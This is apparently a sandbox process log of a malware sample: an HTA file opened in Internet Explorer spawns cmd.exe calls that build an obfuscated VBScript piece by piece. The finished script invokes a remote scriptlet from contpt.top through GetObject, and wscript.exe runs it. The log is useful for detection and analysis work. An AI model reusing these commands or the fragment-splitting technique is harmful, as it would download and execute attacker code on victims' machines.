iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\❉픻할핔핦핞핖핟핥할_핕핚하핚핥핒핝❉_⑦⑨⑦④⑧⑦①②②⑥.hta.html
2616cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c "echo q5998="ri">C:\Users\Public\P2J85.vbs&&echo YEOKY58="tp">>C:\Users\Public\P2J85.vbs&&echo YjXA5T28=".":r3NQ964="sC" ^& q5998 ^& "pt:ht" ^& YEOKY58 ^& "s://">>C:\Users\Public\P2J85.vbs"
2904cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c echo|set /p=^"r3NQ964^=r3NQ964 ^& ^"contpt"+YjXA5T28+"top/g1^":GetO^">>C:\Users\Public\\P2J85.vbs&echo|set /p=^"bject(^">>C:\Users\Public\\P2J85.vbs
2972cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo"
3036cmd.exe C:\Windows\system32\cmd.exe /S /D /c" set /p="r3NQ964=r3NQ964 & "contpt"+YjXA5T28+"top/g1":GetO" 1>>C:\Users\Public\\P2J85.vbs"
744cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo"
2080cmd.exe C:\Windows\system32\cmd.exe /S /D /c" set /p="bject(" 1>>C:\Users\Public\\P2J85.vbs"
2112cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c "echo _>>C:\Users\Public\\P2J85.vbs&&echo r3NQ964)>>C:\Users\Public\\P2J85.vbs"
196wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\P2J85.vbs"
2464